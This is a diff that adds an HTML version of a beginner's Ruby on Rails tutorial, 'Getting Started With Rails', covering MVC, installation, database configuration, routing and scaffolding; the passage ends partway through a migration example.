+							<li><a href="#_the_mvc_architecture">The MVC Architecture</a></li>
+						
+							<li><a href="#_the_components_of_rails">The Components of Rails</a></li>
+						
+							<li><a href="#_rest">REST</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_creating_a_new_rails_project">Creating a New Rails Project</a>
+						<ul>
+						
+							<li><a href="#_installing_rails">Installing Rails</a></li>
+						
+							<li><a href="#_creating_the_blog_application">Creating the Blog Application</a></li>
+						
+							<li><a href="#_configuring_a_database">Configuring a Database</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_hello_rails">Hello, Rails!</a>
+						<ul>
+						
+							<li><a href="#_starting_up_the_web_server">Starting up the Web Server</a></li>
+						
+							<li><a href="#_setting_the_application_home_page">Setting the Application Home Page</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_getting_up_and_running_quickly_with_scaffolding">Getting Up and Running Quickly With Scaffolding</a>
+					</li>
+					<li>
+					<a href="#_creating_a_resource">Creating a Resource</a>
+						<ul>
+						
+							<li><a href="#_running_a_migration">Running a Migration</a></li>
+						
+							<li><a href="#_adding_a_link">Adding a Link</a></li>
+						
+							<li><a href="#_working_with_posts_in_the_browser">Working with Posts in the Browser</a></li>
+						
+							<li><a href="#_the_model">The Model</a></li>
+						
+							<li><a href="#_adding_some_validation">Adding Some Validation</a></li>
+						
+							<li><a href="#_using_the_console">Using the Console</a></li>
+						
+							<li><a href="#_listing_all_posts">Listing All Posts</a></li>
+						
+							<li><a href="#_customizing_the_layout">Customizing the Layout</a></li>
+						
+							<li><a href="#_creating_new_posts">Creating New Posts</a></li>
+						
+							<li><a href="#_showing_an_individual_post">Showing an Individual Post</a></li>
+						
+							<li><a href="#_editing_posts">Editing Posts</a></li>
+						
+							<li><a href="#_destroying_a_post">Destroying a Post</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_drying_up_the_code">DRYing up the Code</a>
+						<ul>
+						
+							<li><a href="#_using_partials_to_eliminate_view_duplication">Using Partials to Eliminate View Duplication</a></li>
+						
+							<li><a href="#_using_filters_to_eliminate_controller_duplication">Using Filters to Eliminate Controller Duplication</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_adding_a_second_model">Adding a Second Model</a>
+						<ul>
+						
+							<li><a href="#_generating_a_model">Generating a Model</a></li>
+						
+							<li><a href="#_associating_models">Associating Models</a></li>
+						
+							<li><a href="#_adding_a_route">Adding a Route</a></li>
+						
+							<li><a href="#_generating_a_controller">Generating a Controller</a></li>
+						
+							<li><a href="#_building_views">Building Views</a></li>
+						
+							<li><a href="#_hooking_comments_to_posts">Hooking Comments to Posts</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_what_s_next">What's Next?</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Getting Started With Rails</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers getting up and running with Ruby on Rails.  After reading it, you should be familiar with:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Installing Rails, creating a new Rails application, and connecting your application to a database
+</p>
+</li>
+<li>
+<p>
+The general layout of a Rails application
+</p>
+</li>
+<li>
+<p>
+The basic principles of MVC (Model, View Controller) and RESTful design
+</p>
+</li>
+<li>
+<p>
+How to quickly generate the starting pieces of a Rails application.
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_this_guide_assumes">1. This Guide Assumes</h2>
+<div class="sectionbody">
+<div class="para"><p>This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The <a href="http://www.ruby-lang.org/en/downloads/">Ruby</a> language
+</p>
+</li>
+<li>
+<p>
+The <a href="http://rubyforge.org/frs/?group_id=126">RubyGems</a> packaging system
+</p>
+</li>
+<li>
+<p>
+A working installation of <a href="http://www.sqlite.org/">SQLite</a> (preferred), <a href="http://www.mysql.com/">MySQL</a>, or <a href="http://www.postgresql.org/">PostgreSQL</a>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>It is highly recommended that you <strong>familiarize yourself with Ruby before diving into Rails</strong>. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://www.humblelittlerubybook.com/">Mr. Neigborly’s Humble Little Ruby Book</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.rubycentral.com/book/">Programming Ruby</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://poignantguide.net/ruby/">Why's (Poignant) Guide to Ruby</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_what_is_rails">2. What is Rails?</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.</p></div>
+<div class="para"><p>Rails is <em>opinionated software</em>. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.</p></div>
+<div class="para"><p>The Rails philosophy includes several guiding principles:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+</p>
+</li>
+<li>
+<p>
+Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+</p>
+</li>
+<li>
+<p>
+REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
+</p>
+</li>
+</ul></div>
+<h3 id="_the_mvc_architecture">2.1. The MVC Architecture</h3>
+<div class="para"><p>Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Isolation of business logic from the user interface
+</p>
+</li>
+<li>
+<p>
+Ease of keeping code DRY
+</p>
+</li>
+<li>
+<p>
+Making it clear where different types of code belong for easier maintenance
+</p>
+</li>
+</ul></div>
+<h4 id="_models">2.1.1. Models</h4>
+<div class="para"><p>A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.</p></div>
+<h4 id="_views">2.1.2. Views</h4>
+<div class="para"><p>Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.</p></div>
+<h4 id="_controllers">2.1.3. Controllers</h4>
+<div class="para"><p>Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.</p></div>
+<h3 id="_the_components_of_rails">2.2. The Components of Rails</h3>
+<div class="para"><p>Rails provides a full stack of components for creating web applications, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Action Controller
+</p>
+</li>
+<li>
+<p>
+Action View
+</p>
+</li>
+<li>
+<p>
+Active Record
+</p>
+</li>
+<li>
+<p>
+Action Mailer
+</p>
+</li>
+<li>
+<p>
+Active Resource
+</p>
+</li>
+<li>
+<p>
+Railties
+</p>
+</li>
+<li>
+<p>
+Active Support
+</p>
+</li>
+</ul></div>
+<h4 id="_action_controller">2.2.1. Action Controller</h4>
+<div class="para"><p>Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.</p></div>
+<h4 id="_action_view">2.2.2. Action View</h4>
+<div class="para"><p>Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.</p></div>
+<h4 id="_active_record">2.2.3. Active Record</h4>
+<div class="para"><p>Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.</p></div>
+<h4 id="_action_mailer">2.2.4. Action Mailer</h4>
+<div class="para"><p>Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.</p></div>
+<h4 id="_active_resource">2.2.5. Active Resource</h4>
+<div class="para"><p>Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.</p></div>
+<h4 id="_railties">2.2.6. Railties</h4>
+<div class="para"><p>Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.</p></div>
+<h4 id="_active_support">2.2.7. Active Support</h4>
+<div class="para"><p>Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.</p></div>
+<h3 id="_rest">2.3. REST</h3>
+<div class="para"><p>The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+</p>
+</li>
+<li>
+<p>
+Transferring representations of the state of that resource between system components.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+<div class="para"><p>If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://www.infoq.com/articles/rest-introduction">A Brief Introduction to REST</a> by Stefan Tilkov
+</p>
+</li>
+<li>
+<p>
+<a href="http://bitworking.org/news/373/An-Introduction-to-REST">An Introduction to REST</a> (video tutorial) by Joe Gregorio
+</p>
+</li>
+<li>
+<p>
+<a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">Representational State Transfer</a> article in Wikipedia
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_creating_a_new_rails_project">3. Creating a New Rails Project</h2>
+<div class="sectionbody">
+<div class="para"><p>If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.</p></div>
+<h3 id="_installing_rails">3.1. Installing Rails</h3>
+<div class="para"><p>In most cases, the easiest way to install Rails is to take advantage of RubyGems:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ gem install rails
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">There are some special circumstances in which you might want to use an alternate installation strategy:</td>
+</tr></table>
+</div>
+<div class="ilist"><ul>
+<li>
+<p>
+If you're working on Windows, you may find it easier to install <a href="http://instantrails.rubyforge.org/wiki/wiki.pl">Instant Rails</a>. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+</p>
+</li>
+<li>
+<p>
+If you want to keep up with cutting-edge changes to Rails, you'll want to clone the <a href="http://github.com/rails/rails/tree/master">Rails source code</a> from github. This is not recommended as an option for beginners, though.
+</p>
+</li>
+</ul></div>
+<h3 id="_creating_the_blog_application">3.2. Creating the Blog Application</h3>
+<div class="para"><p>Open a terminal, navigate to a folder where you have rights to create files, and type:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog
+</tt></pre></div></div>
+<div class="para"><p>This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog -d mysql
+</tt></pre></div></div>
+<div class="para"><p>And if you're using PostgreSQL for data storage, run this command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rails blog -d postgresql
+</tt></pre></div></div>
+<div class="para"><p>In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="137" />
+<col width="1440" />
+<thead>
+  <tr>
+    <th align="left">
+    File/Folder
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    <tt>README</tt>
+    </td>
+    <td align="left">
+    This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>Rakefile</tt>
+    </td>
+    <td align="left">
+    This file contains batch jobs that can be run from the terminal.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>app/</tt>
+    </td>
+    <td align="left">
+    Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>config/</tt>
+    </td>
+    <td align="left">
+    Configure your application's runtime rules, routes, database, and more.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>db/</tt>
+    </td>
+    <td align="left">
+    Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>doc/</tt>
+    </td>
+    <td align="left">
+    In-depth documentation for your application.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>lib/</tt>
+    </td>
+    <td align="left">
+    Extended modules for your application (not covered in this guide).
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>log/</tt>
+    </td>
+    <td align="left">
+    Application log files.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>public/</tt>
+    </td>
+    <td align="left">
+    The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>script/</tt>
+    </td>
+    <td align="left">
+    Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>test/</tt>
+    </td>
+    <td align="left">
+    Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a>
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>tmp/</tt>
+    </td>
+    <td align="left">
+    Temporary files
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    <tt>vendor/</tt>
+    </td>
+    <td align="left">
+    A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_configuring_a_database">3.3. Configuring a Database</h3>
+<div class="para"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
+If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The <tt>development</tt> environment is used on your development computer as you interact manually with the application
+</p>
+</li>
+<li>
+<p>
+The <tt>test</tt> environment is used to run automated tests
+</p>
+</li>
+<li>
+<p>
+The <tt>production</tt> environment is used when you deploy your application for the world to use.
+</p>
+</li>
+</ul></div>
+<h4 id="_configuring_a_sqlite_database">3.3.1. Configuring a SQLite Database</h4>
+<div class="para"><p>Rails comes with built-in support for <a href="http://www.sqlite.org/">SQLite</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
+<div class="para"><p>Here's the section of the default configuration file with connection information for the development environment:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+  adapter<span style="color: #990000">:</span> sqlite3
+  database<span style="color: #990000">:</span> db<span style="color: #990000">/</span>development<span style="color: #990000">.</span>sqlite3
+  timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span>
+</tt></pre></div></div>
+<div class="para"><p>If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
+<div class="para"><p>If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem.  Similar to installing Rails you just need to run:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ gem install sqlite3-ruby
+</tt></pre></div></div>
+<h4 id="_configuring_a_mysql_database">3.3.2. Configuring a MySQL Database</h4>
+<div class="para"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here's the development section:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+  adapter<span style="color: #990000">:</span> mysql
+  encoding<span style="color: #990000">:</span> utf8
+  database<span style="color: #990000">:</span> blog_development
+  username<span style="color: #990000">:</span> root
+  password<span style="color: #990000">:</span>
+  socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock
+</tt></pre></div></div>
+<div class="para"><p>If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+<h4 id="_configuring_a_postgresql_database">3.3.3. Configuring a PostgreSQL Database</h4>
+<div class="para"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>development<span style="color: #990000">:</span>
+  adapter<span style="color: #990000">:</span> postgresql
+  encoding<span style="color: #990000">:</span> unicode
+  database<span style="color: #990000">:</span> blog_development
+  username<span style="color: #990000">:</span> blog
+  password<span style="color: #990000">:</span>
+</tt></pre></div></div>
+<div class="para"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
+</div>
+<h2 id="_hello_rails">4. Hello, Rails!</h2>
+<div class="sectionbody">
+<div class="para"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate controller home index
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
+</tt></pre></div></div>
+<h3 id="_starting_up_the_web_server">4.1. Starting up the Web Server</h3>
+<div class="para"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/server
+</tt></pre></div></div>
+<div class="para"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
+<div class="para"><p><span class="image">
+<img src="images/rails_welcome.png" alt="Welcome Aboard screenshot" title="Welcome Aboard screenshot" />
+</span></p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
+</tr></table>
+</div>
+<div class="para"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
+<h3 id="_setting_the_application_home_page">4.2. Setting the Application Home Page</h3>
+<div class="para"><p>You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rm public/index<span style="color: #990000">.</span>html
+</tt></pre></div></div>
+<div class="para"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application's, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the <em>default routes</em>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
+<div class="para"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"home"</span>
+</tt></pre></div></div>
+<div class="para"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the <tt>index</tt> action.</p></div>
+<div class="para"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you'll see the <tt>home/index</tt> view.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">For more information about routing, refer to <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_getting_up_and_running_quickly_with_scaffolding">5. Getting Up and Running Quickly With Scaffolding</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
+</div>
+<h2 id="_creating_a_resource">6. Creating a Resource</h2>
+<div class="sectionbody">
+<div class="para"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
+</tr></table>
+</div>
+<div class="para"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="525" />
+<col width="1062" />
+<thead>
+  <tr>
+    <th align="left">
+    File
+    </th>
+    <th align="left">
+    Purpose
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    app/models/post.rb
+    </td>
+    <td align="left">
+    The Post model
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    db/migrate/20081013124235_create_posts.rb
+    </td>
+    <td align="left">
+    Migration to create the posts table in your database (your name will include a different timestamp)
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/views/posts/index.html.erb
+    </td>
+    <td align="left">
+    A view to display an index of all posts
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/views/posts/show.html.erb
+    </td>
+    <td align="left">
+    A view to display a single post
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/views/posts/new.html.erb
+    </td>
+    <td align="left">
+    A view to create a new post
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/views/posts/edit.html.erb
+    </td>
+    <td align="left">
+    A view to edit an existing post
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/views/layouts/posts.html.erb
+    </td>
+    <td align="left">
+    A view to control the overall look and feel of the other posts views
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    public/stylesheets/scaffold.css
+    </td>
+    <td align="left">
+    Cascading style sheet to make the scaffolded views look better
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/controllers/posts_controller.rb
+    </td>
+    <td align="left">
+    The Posts controller
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    test/functional/posts_controller_test.rb
+    </td>
+    <td align="left">
+    Functional testing harness for the posts controller
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    app/helpers/posts_helper.rb
+    </td>
+    <td align="left">
+    Helper functions to be used from the posts views
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    config/routes.rb
+    </td>
+    <td align="left">
+    Edited to include routing information for posts
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    test/fixtures/posts.yml
+    </td>
+    <td align="left">
+    Dummy posts for use in testing
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    test/unit/post_test.rb
+    </td>
+    <td align="left">
+    Unit testing harness for the posts model
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<h3 id="_running_a_migration">6.1. Running a Migration</h3>
+<div class="para"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.</p></div>
+<div class="para"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here's what you'll find:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePosts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>title
